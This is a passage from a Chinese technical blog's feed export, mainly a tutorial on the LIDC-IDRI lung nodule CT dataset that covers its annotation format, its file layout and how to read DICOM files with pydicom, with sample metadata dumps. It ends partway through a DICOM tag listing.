然而高质量深度模型的发展依赖于大量的尝试，这是由于没有很好的理解深度模型是怎么工作的，在本文中，提出了一个可视化分析系统CNNVis，帮助机器学习专家更好的理解、分析、设计深度卷积神经网络。</p><p><img src="cnnvis.png" alt=""></p><p><strong>（ 未经授权禁止转载，转载请联系作者并注明出处，谢谢！）</strong></p>]]></content>
    
    <summary type="html">
    
      本文主要总结一下神经网络可视化的一些工具，包括tensorflow的tensorboard，支持caffe中prototxt格式网络结构可视化工具Netscope，python的draw_net绘制网络模型，tensorflow的Neural Network Playground，可以直接在浏览器演示的ConvnetJS，word embedding visual inspector的wevi，以及Mengchen Liu 等人提出的一个可视化分析系统CNNVis，帮助机器学习专家更好的理解、分析、设计深度卷积神经网络。
    
    </summary>
    
      <category term="Tool" scheme="http://zhwhong.cn/categories/Tool/"/>
    
    
      <category term="TensorFlow" scheme="http://zhwhong.cn/tags/TensorFlow/"/>
    
      <category term="Neural Network" scheme="http://zhwhong.cn/tags/Neural-Network/"/>
    
      <category term="Caffe" scheme="http://zhwhong.cn/tags/Caffe/"/>
    
  </entry>
  
  <entry>
    <title>LIDC-IDRI肺结节公开数据集Dicom和XML标注详解</title>
    <link href="http://zhwhong.cn/2017/03/27/LIDC-Dicom-data-and-XML-annotation-parse/"/>
    <id>http://zhwhong.cn/2017/03/27/LIDC-Dicom-data-and-XML-annotation-parse/</id>
    <published>2017-03-27T13:32:54.000Z</published>
    <updated>2017-03-27T15:13:22.800Z</updated>
    
    <content type="html"><![CDATA[<script src="/assets/js/APlayer.min.js"> </script><ul><li>文章首发于简书：<a href="http://www.jianshu.com/p/c4e9e18195eb" target="_blank" rel="external">LIDC-IDRI肺结节公开数据集Dicom和XML标注详解</a>，现在搬运至博客。</li></ul><h2 id="一、数据来源"><a href="#一、数据来源" class="headerlink" title="一、数据来源"></a>一、数据来源</h2><p>　　数据集采用为 <a href="https://wiki.cancerimagingarchive.net/display/Public/LIDC-IDRI" target="_blank" rel="external">LIDC-IDRI</a> (The Lung Image Database Consortium)，该数据集由胸部医学图像文件(如CT、X光片)和对应的诊断结果病变标注组成。该数据是由美国国家癌症研究所(National Cancer Institute)发起收集的，目的是为了研究高危人群早期癌症检测。</p><a id="more"></a><p>　　该数据集中，共收录了1018个研究实例。对于每个实例中的图像，都由4位经验丰富的胸部放射科医师进行两阶段的诊断标注。在第一阶段，每位医师分别独立诊断并标注病患位置，其中会标注三中类别：<strong>1) &gt;=3mm的结节</strong>，<strong>2) &lt;3mm的结节</strong>，<strong>3) &gt;=3mm的非结节</strong>（官网描述： “nodule &gt; or =3 mm”， “nodule <3 mm"，="" and="" "non-nodule=""> or =3 mm”，详见 <a href="https://wiki.cancerimagingarchive.net/display/Public/LIDC-IDRI" target="_blank" rel="external">Summary</a>）。在随后的第二阶段中，各位医师都分别独立的复审其他三位医师的标注，并给出自己最终的诊断结果。这样的两阶段标注可以在避免forced consensus的前提下，尽可能完整的标注所有结果。</3></p><table><thead><tr><th style="text-align:left">Collection Statistics</th><th style="text-align:left">updated 3/21/2012</th></tr></thead><tbody><tr><td style="text-align:left">数据大小</td><td style="text-align:left">124GB</td></tr><tr><td style="text-align:left">图像类型</td><td style="text-align:left">CT (computed tomography),  243,958 张 <br> DX (digital radiography) <br> CR (computed radiography)</td></tr><tr><td style="text-align:left">图片数</td><td style="text-align:left">244,527</td></tr><tr><td style="text-align:left">患者数</td><td style="text-align:left">1,010</td></tr><tr><td style="text-align:left">系列数 (Number of Series)</td><td style="text-align:left">1,018 CT <br> 290 CR/DX</td></tr><tr><td style="text-align:left">研究数 (Number of Studies)</td><td style="text-align:left">1,308</td></tr></tbody></table><h2 id="二、解析结果"><a href="#二、解析结果" class="headerlink" title="二、解析结果"></a>二、解析结果</h2><h3 id="1-图像矩阵像素信息"><a href="#1-图像矩阵像素信息" class="headerlink" title="1.图像矩阵像素信息"></a>1.图像矩阵像素信息</h3><p>　　模块处理的数据为slicer * rows * cols大小的三维矩阵D。D中第z个切片y行x列的元素对应的位置为：<strong>(z * rows *cols+ y * cols + x) * sizeof(data_type)</strong> 。其中rows表示图像的行数，cols表示图像的列数，默认均为512；data_type代表数据类型，默认为short。</p><p>eg: 对于病例LIDC-IDRI-0001，即为133*512*512的矩阵，一共133张切片，每张大小512*512，依次按顺序存入二进制文件，每个像素大小为2字节（对应short类型）。</p><h3 id="2-结节区域类型标注信息"><a href="#2-结节区域类型标注信息" class="headerlink" title="2.结节区域类型标注信息"></a>2.结节区域类型标注信息</h3><p>第一行： <strong>slicers</strong> <strong>rows</strong> <strong>cols</strong> <strong>data_type</strong> <strong>pixel_space_x</strong>  <strong>pixel_space_y</strong>  <strong>slice_thickness</strong></p><ul><li><code>slicer</code> ： 切片个数；</li><li><code>rows</code> ： 矩阵行数，默认512；</li><li><code>cols</code> ： 矩阵列数，默认512；</li><li><code>data_type</code> ： 数据类型标签。为以下枚举类型中的一种（默认SHORT_TYPE，4）：enum DATA_TYPE {CHAR_TYPE，UCHAR_TYPE,  INT_TYPE，UINT_TYPE，SHORT_TYPE，USHORT_TYPE，FLOAT_TYPE，DOUBLE_TYPE }；</li><li><code>pixel_space_x</code> ： x线列扫描步长，单位：毫米；</li><li><code>pixel_space_y</code> ： x线行扫描步长，单位：毫米；</li><li><code>slice_thickness</code> ： z轴扫描步长(即切片厚度)，单位：毫米。</li></ul><p>其他行：  <strong>type</strong> <strong>num</strong> <strong>x1</strong> <strong>y1</strong> <strong>z1</strong> <strong>x2</strong> <strong>y2</strong> <strong>z2</strong> … <strong>xi</strong> <strong>yi</strong> <strong>zi</strong> … <strong>xn</strong> <strong>yn</strong> <strong>zn</strong></p><ul><li><code>type</code>： “1”表示”nodules”， “2”表示”small_nodules”，”3”表示”non_nodules”；</li><li><code>num</code>：该行x,y,z数字的个数（由于一个点有三个坐标，所以num为3的倍数）；</li><li><code>Xi</code>, <code>Yi</code>, <code>Zi</code>：该肺结节第i个点的空间坐标，Zi为切片序号。</li></ul><h2 id="三、数据分析"><a href="#三、数据分析" class="headerlink" title="三、数据分析"></a>三、数据分析</h2><h3 id="文件结构"><a href="#文件结构" class="headerlink" title="文件结构"></a>文件结构</h3><p>目前测试一共1012个病例数据，每个病例文件夹对应结构：</p><p>LIDC-IDRI-XXXX / Study Instance UID / Series Instance UID / *.dcm， *.xml</p><ul><li><strong>XXXX</strong> ：从0000到1012；</li><li><strong>Study Instance UID</strong> ：每个病例对应的检查实例号；</li><li><strong>Series Instance UID</strong> ：不同检查对应的序列实例号；</li><li><strong>*.dcm ，*.xml</strong> ：分别对应于每一张dcm切片和xml标注文件。</li></ul><p><strong>特例</strong> ：LIDC-IDRI-0365号病例存在两份序列检查，分别有对应的dcm和xml文件，如下：</p><p><img src="2.png" alt=""></p><h3 id="python处理Dicom数据"><a href="#python处理Dicom数据" class="headerlink" title="python处理Dicom数据"></a>python处理Dicom数据</h3><p>通过pip或者anaconda安装<code>pydicom</code>模块，该模块是python专门用来处理dicom格式文件的库。</p><p>通过<code>dicom.read_file()</code>可以直接获取dicom文件所有信息，如下：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line"><span class="meta">&gt;&gt;&gt; </span><span class="keyword">import</span> dicom</div><div class="line"><span class="meta">&gt;&gt;&gt; </span>ds = dicom.read_file(<span class="string">"test.dcm"</span>) <span class="comment"># (test.dcm is in the testfile)</span></div></pre></td></tr></table></figure><p>实际操作LIDC-IDRI-0001（<code>GE MEDICAL SYSTEM公司</code>）中000001.dcm，打印出来结果如下（包含各种tag，具体详见 <a href="http://blog.csdn.net/inter_peng/article/details/46513847" target="_blank" rel="external">DICOM的常用Tag分类和说明</a>）：</p><figure class="highlight"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div><div class="line">52</div><div class="line">53</div><div class="line">54</div><div class="line">55</div><div class="line">56</div><div class="line">57</div><div class="line">58</div><div class="line">59</div><div class="line">60</div><div class="line">61</div><div class="line">62</div><div class="line">63</div><div class="line">64</div><div class="line">65</div><div class="line">66</div><div class="line">67</div><div class="line">68</div><div class="line">69</div><div class="line">70</div><div class="line">71</div><div class="line">72</div><div class="line">73</div><div class="line">74</div><div class="line">75</div><div class="line">76</div><div class="line">77</div><div class="line">78</div><div class="line">79</div><div class="line">80</div><div class="line">81</div><div class="line">82</div><div class="line">83</div><div class="line">84</div><div class="line">85</div><div class="line">86</div><div class="line">87</div><div class="line">88</div><div class="line">89</div><div class="line">90</div><div class="line">91</div><div class="line">92</div></pre></td><td class="code"><pre><div class="line">&gt;&gt;&gt; import dicom</div><div class="line">&gt;&gt;&gt; f = dicom.read_file('000001.dcm')</div><div class="line">&gt;&gt;&gt; print f</div><div class="line">(0008, 0005) Specific Character Set              CS: 'ISO_IR 100'</div><div class="line">(0008, 0008) Image Type                          CS: ['ORIGINAL', 'PRIMARY', 'AXIAL']</div><div class="line">(0008, 0016) SOP Class UID                       UI: CT Image Storage</div><div class="line">(0008, 0018) SOP Instance UID                    UI: 1.3.6.1.4.1.14519.5.2.1.6279.6001.143451261327128179989900675595</div><div class="line">(0008, 0020) Study Date                          DA: '20000101'</div><div class="line">(0008, 0021) Series Date                         DA: '20000101'</div><div class="line">(0008, 0022) Acquisition Date                    DA: '20000101'</div><div class="line">(0008, 0023) Content Date                        DA: '20000101'</div><div class="line">(0008, 0024) Overlay Date                        DA: '20000101'</div><div class="line">(0008, 0025) Curve Date                          DA: '20000101'</div><div class="line">(0008, 002a) Acquisition DateTime                DT: '20000101'</div><div class="line">(0008, 0030) Study Time                          TM: ''</div><div class="line">(0008, 0032) Acquisition Time                    TM: ''</div><div class="line">(0008, 0033) Content Time                        TM: ''</div><div class="line">(0008, 0050) Accession Number                    SH: '2819497684894126'</div><div class="line">(0008, 0060) Modality                            CS: 'CT'</div><div class="line">(0008, 0070) Manufacturer                        LO: 'GE MEDICAL SYSTEMS'</div><div class="line">(0008, 0090) Referring Physician Name            PN: ''</div><div class="line">(0008, 1090) Manufacturer Model Name             LO: 'LightSpeed Plus'</div><div class="line">(0008, 1155) Referenced SOP Instance UID         UI: 1.3.6.1.4.1.14519.5.2.1.6279.6001.675906998158803995297223798692</div><div class="line">(0010, 0010) Patient Name                        PN: ''</div><div class="line">(0010, 0020) Patient ID                          LO: 'LIDC-IDRI-0001'</div><div class="line">(0010, 0030) Patient Birth Date                  DA: ''</div><div class="line">(0010, 0040) Patient Sex                         CS: ''</div><div class="line">(0010, 1010) Patient Age                         AS: ''</div><div class="line">(0010, 21d0) Last Menstrual Date                 DA: '20000101'</div><div class="line">(0012, 0062) Patient Identity Removed            CS: 'YES'</div><div class="line">(0012, 0063) De-identification Method            LO: 'DCM:113100/113105/113107/113108/113109/113111'</div><div class="line">(0013, 0010) Private Creator                     LO: 'CTP'</div><div class="line">(0013, 1010) Private tag data                    LO: 'LIDC-IDRI'</div><div class="line">(0013, 1013) Private tag data                    LO: '62796001'</div><div class="line">(0018, 0010) Contrast/Bolus Agent                LO: 'IV'</div><div class="line">(0018, 0015) Body Part Examined                  CS: 'CHEST'</div><div class="line">(0018, 0022) Scan Options                        CS: 'HELICAL MODE'</div><div class="line">(0018, 0050) Slice Thickness                     DS: '2.500000'</div><div class="line">(0018, 0060) KVP                                 DS: '120'</div><div class="line">(0018, 0090) Data Collection Diameter            DS: '500.000000'</div><div class="line">(0018, 1020) Software Version(s)                 LO: 'LightSpeedApps2.4.2_H2.4M5'</div><div class="line">(0018, 1100) Reconstruction Diameter             DS: '360.000000'</div><div class="line">(0018, 1110) Distance Source to Detector         DS: '949.075012'</div><div class="line">(0018, 1111) Distance Source to Patient          DS: '541.000000'</div><div class="line">(0018, 1120) Gantry/Detector Tilt                DS: '0.000000'</div><div class="line">(0018, 1130) Table Height                        DS: '144.399994'</div><div class="line">(0018, 1140) Rotation Direction                  CS: 'CW'</div><div class="line">(0018, 1150) Exposure Time                       IS: '570'</div><div class="line">(0018, 1151) X-Ray Tube Current                  IS: '400'</div><div class="line">(0018, 1152) Exposure                            IS: '4684'</div><div class="line">(0018, 1160) Filter Type                         SH: 'BODY FILTER'</div><div class="line">(0018, 1170) Generator Power                     IS: '48000'</div><div class="line">(0018, 1190) Focal Spot(s)                       DS: '1.200000'</div><div class="line">(0018, 1210) Convolution Kernel                  SH: 'STANDARD'</div><div class="line">(0018, 5100) Patient Position                    CS: 'FFS'</div><div class="line">(0020, 000d) Study Instance UID                  UI: 1.3.6.1.4.1.14519.5.2.1.6279.6001.298806137288633453246975630178</div><div class="line">(0020, 000e) Series Instance UID                 UI: 1.3.6.1.4.1.14519.5.2.1.6279.6001.179049373636438705059720603192</div><div class="line">(0020, 0010) Study ID                            SH: ''</div><div class="line">(0020, 0011) Series Number                       IS: '3000566'</div><div class="line">(0020, 0013) Instance Number                     IS: '80'</div><div class="line">(0020, 0032) Image Position (Patient)            DS: ['-166.000000', '-171.699997', '-207.500000']</div><div class="line">(0020, 0037) Image Orientation (Patient)         DS: ['1.000000', '0.000000', '0.000000', '0.000000', '1.000000', '0.000000']</div><div class="line">(0020, 0052) Frame of Reference UID              UI: 1.3.6.1.4.1.14519.5.2.1.6279.6001.229925374658226729607867499499</div><div class="line">(0020, 1040) Position Reference Indicator        LO: 'SN'</div><div class="line">(0020, 1041) Slice Location                      DS: '-207.500000'</div><div class="line">(0028, 0002) Samples per Pixel                   US: 1</div><div class="line">(0028, 0004) Photometric Interpretation          CS: 'MONOCHROME2'</div><div class="line">(0028, 0010) Rows                                US: 512</div><div class="line">(0028, 0011) Columns                             US: 512</div><div class="line">(0028, 0030) Pixel Spacing                       DS: ['0.703125', '0.703125']</div><div class="line">(0028, 0100) Bits Allocated                      US: 16</div><div class="line">(0028, 0101) Bits Stored                         US: 16</div><div class="line">(0028, 0102) High Bit                            US: 15</div><div class="line">(0028, 0103) Pixel Representation                US: 1</div><div class="line">(0028, 0120) Pixel Padding Value                 US: 63536</div><div class="line">(0028, 0303) Longitudinal Temporal Information M CS: 'MODIFIED'</div><div class="line">(0028, 1050) Window Center                       DS: '-600'</div><div class="line">(0028, 1051) Window Width                        DS: '1600'</div><div class="line">(0028, 1052) Rescale Intercept                   DS: '-1024'</div><div class="line">(0028, 1053) Rescale Slope                       DS: '1'</div><div class="line">(0038, 0020) Admitting Date                      DA: '20000101'</div><div class="line">(0040, 0002) Scheduled Procedure Step Start Date DA: '20000101'</div><div class="line">(0040, 0004) Scheduled Procedure Step End Date   DA: '20000101'</div><div class="line">(0040, 0244) Performed Procedure Step Start Date DA: '20000101'</div><div class="line">(0040, 2016) Placer Order Number / Imaging Servi LO: ''</div><div class="line">(0040, 2017) Filler Order Number / Imaging Servi LO: ''</div><div class="line">(0040, a075) Verifying Observer Name             PN: 'Removed by CTP'</div><div class="line">(0040, a123) Person Name                         PN: 'Removed by CTP'</div><div class="line">(0040, a124) UID                                 UI: 1.3.6.1.4.1.14519.5.2.1.6279.6001.335419887712224178340067932923</div><div class="line">(0070, 0084) Content Creator's Name              PN: ''</div><div class="line">(0088, 0140) Storage Media File-set UID          UI: 1.3.6.1.4.1.14519.5.2.1.6279.6001.211790042620307056609660772296</div><div class="line">(7fe0, 0010) Pixel Data                          OW: Array of 524288 bytes</div></pre></td></tr></table></figure><p>想要访问任何信息都可以通过前面的tag进行获取,一些特殊标记也可以通过keyword获取，如下：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div></pre></td><td class="code"><pre><div class="line"><span class="meta">&gt;&gt;&gt; </span>f[<span class="number">0x0008</span>,<span class="number">0x0018</span>].value</div><div class="line"><span class="string">'1.3.6.1.4.1.14519.5.2.1.6279.6001.143451261327128179989900675595'</span></div><div class="line"><span class="meta">&gt;&gt;&gt; </span>f[<span class="number">0x0013</span>,<span class="number">0x1010</span>].value</div><div class="line"><span class="string">'LIDC-IDRI'</span></div><div class="line"><span class="meta">&gt;&gt;&gt; </span>f.PatientName</div><div class="line"><span class="string">''</span></div><div class="line"><span class="meta">&gt;&gt;&gt; </span>f.SeriesNumber</div><div class="line"><span class="string">'3000566'</span></div><div class="line">&gt;&gt;&gt;</div></pre></td></tr></table></figure><p>本次实验中主要会使用到tag (0x0008, 0x0018)获取SOP_ID，以唯一区别每一张图，然后使用tag (0x7fe0, 0x0010)获取像素信息pixel_array，一张CT图像有 512x512 个像素点，在dicom文件中每个像素由2字节表示，所以每张图片约512KB大小。图像中每个像素都是整数，专业名称为 Hounsfield scale 或 CT Number，是描述物质的放射密度的量化值(参考<a href="https://en.wikipedia.org/wiki/Hounsfield_scale" target="_blank" rel="external">Wikipedia</a>)。</p><p>另外，不同公司生产的仪器包含信息略有不同，比如LIDC-IDRI-0069（<code>TOSHIBA公司</code>）中000001.dcm如下：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div><div class="line">52</div><div class="line">53</div><div class="line">54</div><div class="line">55</div><div class="line">56</div><div class="line">57</div><div class="line">58</div><div class="line">59</div><div class="line">60</div><div class="line">61</div><div class="line">62</div><div class="line">63</div><div class="line">64</div><div class="line">65</div><div class="line">66</div><div class="line">67</div><div class="line">68</div><div class="line">69</div><div class="line">70</div><div class="line">71</div><div class="line">72</div><div class="line">73</div><div class="line">74</div><div class="line">75</div><div class="line">76</div><div class="line">77</div><div class="line">78</div><div class="line">79</div><div class="line">80</div><div class="line">81</div><div class="line">82</div><div class="line">83</div><div class="line">84</div><div class="line">85</div><div class="line">86</div><div class="line">87</div><div class="line">88</div><div class="line">89</div><div class="line">90</div><div class="line">91</div><div class="line">92</div><div class="line">93</div></pre></td><td class="code"><pre><div class="line">(<span class="number">0008</span>, <span class="number">0008</span>) Image Type                          CS: [<span class="string">'ORIGINAL'</span>, <span class="string">'PRIMARY'</span>, <span class="string">'AXIAL'</span>]</div><div class="line">(<span class="number">0008</span>, <span class="number">0016</span>) SOP Class UID                       UI: CT Image Storage</div><div class="line">(<span class="number">0008</span>, <span class="number">0018</span>) SOP Instance UID                    UI: <span class="number">1.3</span><span class="number">.6</span><span class="number">.1</span><span class="number">.4</span><span class="number">.1</span><span class="number">.14519</span><span class="number">.5</span><span class="number">.2</span><span class="number">.1</span><span class="number">.6279</span><span class="number">.6001</span><span class="number">.263800607656124864093833884216</span></div><div class="line">(<span class="number">0008</span>, <span class="number">0020</span>) Study Date                          DA: <span class="string">'20000101'</span></div><div class="line">(<span class="number">0008</span>, <span class="number">0021</span>) Series Date                         DA: <span class="string">'20000101'</span></div><div class="line">(<span class="number">0008</span>, <span class="number">0022</span>) Acquisition Date                    DA: <span class="string">'20000101'</span></div><div class="line">(<span class="number">0008</span>, <span class="number">0023</span>) Content Date                        DA: <span class="string">'20000101'</span></div><div class="line">(<span class="number">0008</span>, <span class="number">0024</span>) Overlay Date                        DA: <span class="string">'20000101'</span></div><div class="line">(<span class="number">0008</span>, <span class="number">0025</span>) Curve Date                          DA: <span class="string">'20000101'</span></div><div class="line">(<span class="number">0008</span>, <span class="number">002</span>a) Acquisition DateTime                DT: <span class="string">'20000101'</span></div><div class="line">(<span class="number">0008</span>, <span class="number">0030</span>) Study Time                          TM: <span class="string">''</span></div><div class="line">(<span class="number">0008</span>, <span class="number">0032</span>) Acquisition Time                    TM: <span class="string">'185549.500'</span></div><div class="line">(<span class="number">0008</span>, <span class="number">0033</span>) Content Time                        TM: <span class="string">'185605.277'</span></div><div class="line">(<span class="number">0008</span>, <span class="number">0050</span>) Accession Number                    SH: <span class="string">'2819497684894126'</span></div><div class="line">(<span class="number">0008</span>, <span class="number">0060</span>) Modality                            CS: <span class="string">'CT'</span></div><div class="line">(<span class="number">0008</span>, <span class="number">0070</span>) Manufacturer                        LO: <span class="string">'TOSHIBA'</span></div><div class="line">(<span class="number">0008</span>, <span class="number">0090</span>) Referring Physician Name            PN: <span class="string">''</span></div><div class="line">(<span class="number">0008</span>, <span class="number">1090</span>) Manufacturer Model Name             LO: <span class="string">'Aquilion'</span></div><div class="line">(<span class="number">0010</span>, <span class="number">0010</span>) Patient Name                        PN: <span class="string">''</span></div><div class="line">(<span class="number">0010</span>, <span class="number">0020</span>) Patient ID                          LO: <span class="string">'LIDC-IDRI-0069'</span></div><div class="line">(<span class="number">0010</span>, <span class="number">0030</span>) Patient Birth Date                  DA: <span class="string">''</span></div><div class="line">(<span class="number">0010</span>, <span class="number">0040</span>) Patient Sex                         CS: <span class="string">'M'</span></div><div class="line">(<span class="number">0010</span>, <span class="number">1010</span>) Patient Age                         AS: <span class="string">'051Y'</span></div><div class="line">(<span class="number">0010</span>, <span class="number">2160</span>) Ethnic Group                        SH: <span class="string">'white-ns'</span></div><div class="line">(<span class="number">0010</span>, <span class="number">21</span>c0) Pregnancy Status                    US: <span class="number">4</span></div><div class="line">(<span class="number">0010</span>, <span class="number">21</span>d0) Last Menstrual Date                 DA: <span class="string">'20000101'</span></div><div class="line">(<span class="number">0012</span>, <span class="number">0062</span>) Patient Identity Removed            CS: <span class="string">'YES'</span></div><div class="line">(<span class="number">0012</span>, <span class="number">0063</span>) De-identification Method            LO: <span class="string">'DCM:113100/113105/113107/113108/113109/113111'</span></div><div class="line">(<span class="number">0013</span>, <span class="number">0010</span>) Private Creator                     OB: <span class="string">'CTP '</span></div><div class="line">(<span class="number">0013</span>, <span class="number">1010</span>) Private tag data                    OB: <span class="string">'LIDC-IDRI '</span></div><div class="line">(<span class="number">0013</span>, <span class="number">1013</span>) Private tag data                    OB: <span class="string">'62796001'</span></div><div class="line">(<span class="number">0018</span>, <span class="number">0010</span>) Contrast/Bolus Agent                LO: <span class="string">'100ccs_OMNI-350'</span></div><div class="line">(<span class="number">0018</span>, <span class="number">0015</span>) Body Part Examined                  CS: <span class="string">'CHEST'</span></div><div class="line">(<span class="number">0018</span>, <span class="number">0022</span>) Scan Options                        CS: <span class="string">'HELICAL_CT'</span></div><div class="line">(<span class="number">0018</span>, <span class="number">0050</span>) Slice Thickness                     DS: <span class="string">'2.0'</span></div><div class="line">(<span class="number">0018</span>, <span class="number">0060</span>) KVP                                 DS: <span class="string">'135'</span></div><div class="line">(<span class="number">0018</span>, <span class="number">0090</span>) Data Collection Diameter            DS: <span class="string">'400.00'</span></div><div class="line">(<span class="number">0018</span>, <span class="number">1020</span>) Software Version(s)                 LO: <span class="string">'V2.04ER001'</span></div><div class="line">(<span class="number">0018</span>, <span class="number">1100</span>) Reconstruction Diameter             DS: <span class="string">'379.687'</span></div><div class="line">(<span class="number">0018</span>, <span class="number">1120</span>) Gantry/Detector Tilt                DS: <span class="string">'+0.0'</span></div><div class="line">(<span class="number">0018</span>, <span class="number">1130</span>) Table Height                        DS: <span class="string">'+48.00'</span></div><div class="line">(<span class="number">0018</span>, <span class="number">1140</span>) Rotation Direction                  CS: <span class="string">'CW'</span></div><div class="line">(<span class="number">0018</span>, <span class="number">1150</span>) Exposure Time                       IS: <span class="string">'500'</span></div><div class="line">(<span class="number">0018</span>, <span class="number">1151</span>) X-Ray Tube Current                  IS: <span class="string">'260'</span></div><div class="line">(<span class="number">0018</span>, <span class="number">1152</span>) Exposure                            IS: <span class="string">'130'</span></div><div class="line">(<span class="number">0018</span>, <span class="number">1210</span>) Convolution Kernel                  SH: <span class="string">'FC10'</span></div><div class="line">(<span class="number">0018</span>, <span class="number">5100</span>) Patient Position                    CS: <span class="string">'FFS'</span></div><div class="line">(<span class="number">0020</span>, <span class="number">000</span>d) Study Instance UID                  UI: <span class="number">1.3</span><span class="number">.6</span><span class="number">.1</span><span class="number">.4</span><span class="number">.1</span><span class="number">.14519</span><span class="number">.5</span><span class="number">.2</span><span class="number">.1</span><span class="number">.6279</span><span class="number">.6001</span><span class="number">.303241414168367763244410429787</span></div><div class="line">(<span class="number">0020</span>, <span class="number">000</span>e) Series Instance UID                 UI: <span class="number">1.3</span><span class="number">.6</span><span class="number">.1</span><span class="number">.4</span><span class="number">.1</span><span class="number">.14519</span><span class="number">.5</span><span class="number">.2</span><span class="number">.1</span><span class="number">.6279</span><span class="number">.6001</span><span class="number">.131939324905446238286154504249</span></div><div class="line">(<span class="number">0020</span>, <span class="number">0010</span>) Study ID                            SH: <span class="string">''</span></div><div class="line">(<span class="number">0020</span>, <span class="number">0011</span>) Series Number                       IS: <span class="string">'3079'</span></div><div class="line">(<span class="number">0020</span>, <span class="number">0012</span>) Acquisition Number                  IS: <span class="string">'5'</span></div><div class="line">(<span class="number">0020</span>, <span class="number">0013</span>) Instance Number                     IS: <span class="string">'134'</span></div><div class="line">(<span class="number">0020</span>, <span class="number">0020</span>) Patient Orientation                 CS: [<span class="string">'L'</span>, <span class="string">'P'</span>]</div><div class="line">(<span class="number">0020</span>, <span class="number">0032</span>) Image Position (Patient)            DS: [<span class="string">'-184.375000'</span>, <span class="string">'-188.281200'</span>, <span class="string">'1292.500000'</span>]</div><div class="line">(<span class="number">0020</span>, <span class="number">0037</span>) Image Orientation (Patient)         DS: [<span class="string">'1.000000'</span>, <span class="string">'0.000000'</span>, <span class="string">'0.000000'</span>, <span class="string">'0.000000'</span>, <span class="string">'1.000000'</span>, <span class="string">'0.000000'</span>]</div><div class="line">(<span class="number">0020</span>, <span class="number">0052</span>) Frame of Reference UID              UI: <span class="number">1.3</span><span class="number">.6</span><span class="number">.1</span><span class="number">.4</span><span class="number">.1</span><span class="number">.14519</span><span class="number">.5</span><span class="number">.2</span><span class="number">.1</span><span class="number">.6279</span><span class="number">.6001</span><span class="number">.228313061349684266844487315959</span></div><div class="line">(<span class="number">0020</span>, <span class="number">1040</span>) Position Reference Indicator        LO: <span class="string">''</span></div><div class="line">(<span class="number">0020</span>, <span class="number">1041</span>) Slice Location                      DS: <span class="string">'+324.00'</span></div><div class="line">(<span class="number">0028</span>, <span class="number">0002</span>) Samples per Pixel                   US: <span class="number">1</span></div><div class="line">(<span class="number">0028</span>, <span class="number">0004</span>) Photometric Interpretation          CS: <span class="string">'MONOCHROME2'</span></div><div class="line">(<span class="number">0028</span>, <span class="number">0010</span>) Rows                                US: <span class="number">512</span></div><div class="line">(<span class="number">0028</span>, <span class="number">0011</span>) Columns                             US: <span class="number">512</span></div><div class="line">(<span class="number">0028</span>, <span class="number">0030</span>) Pixel Spacing                       DS: [<span class="string">'0.741'</span>, <span class="string">'0.741'</span>]</div><div class="line">(<span class="number">0028</span>, <span class="number">0100</span>) Bits Allocated                      US: <span class="number">16</span></div><div class="line">(<span class="number">0028</span>, <span class="number">0101</span>) Bits Stored                         US: <span class="number">16</span></div><div class="line">(<span class="number">0028</span>, <span class="number">0102</span>) High Bit                            US: <span class="number">15</span></div><div class="line">(<span class="number">0028</span>, <span class="number">0103</span>) Pixel Representation                US: <span class="number">1</span></div><div class="line">(<span class="number">0028</span>, <span class="number">0303</span>) Longitudinal Temporal Information M CS: <span class="string">'MODIFIED'</span></div><div class="line">(<span class="number">0028</span>, <span class="number">1050</span>) Window Center                       DS: <span class="string">'-500'</span></div><div class="line">(<span class="number">0028</span>, <span class="number">1051</span>) Window Width                        DS: <span class="string">'2000'</span></div><div class="line">(<span class="number">0028</span>, <span class="number">1052</span>) Rescale Intercept                   DS: <span class="string">'0'</span></div><div class="line">(<span class="number">0028</span>, <span class="number">1053</span>) Rescale Slope                       DS: <span class="string">'1'</span></div><div class="line">(<span class="number">0032</span>, <span class="number">000</span>a) Study Status ID                     CS: <span class="string">''</span></div><div class="line">(<span class="number">0032</span>, <span class="number">1000</span>) Scheduled Study Start Date          DA: <span class="string">''</span></div><div class="line">(<span class="number">0032</span>, <span class="number">1001</span>) Scheduled Study Start Time          TM: <span class="string">''</span></div><div class="line">(<span class="number">0032</span>, <span class="number">1060</span>) Requested Procedure Description     LO: <span class="string">''</span></div><div class="line">(<span class="number">0032</span>, <span class="number">1064</span>)  Requested Procedure Code Sequence   <span class="number">1</span> item(s) ----</div><div class="line">   (<span class="number">0008</span>, <span 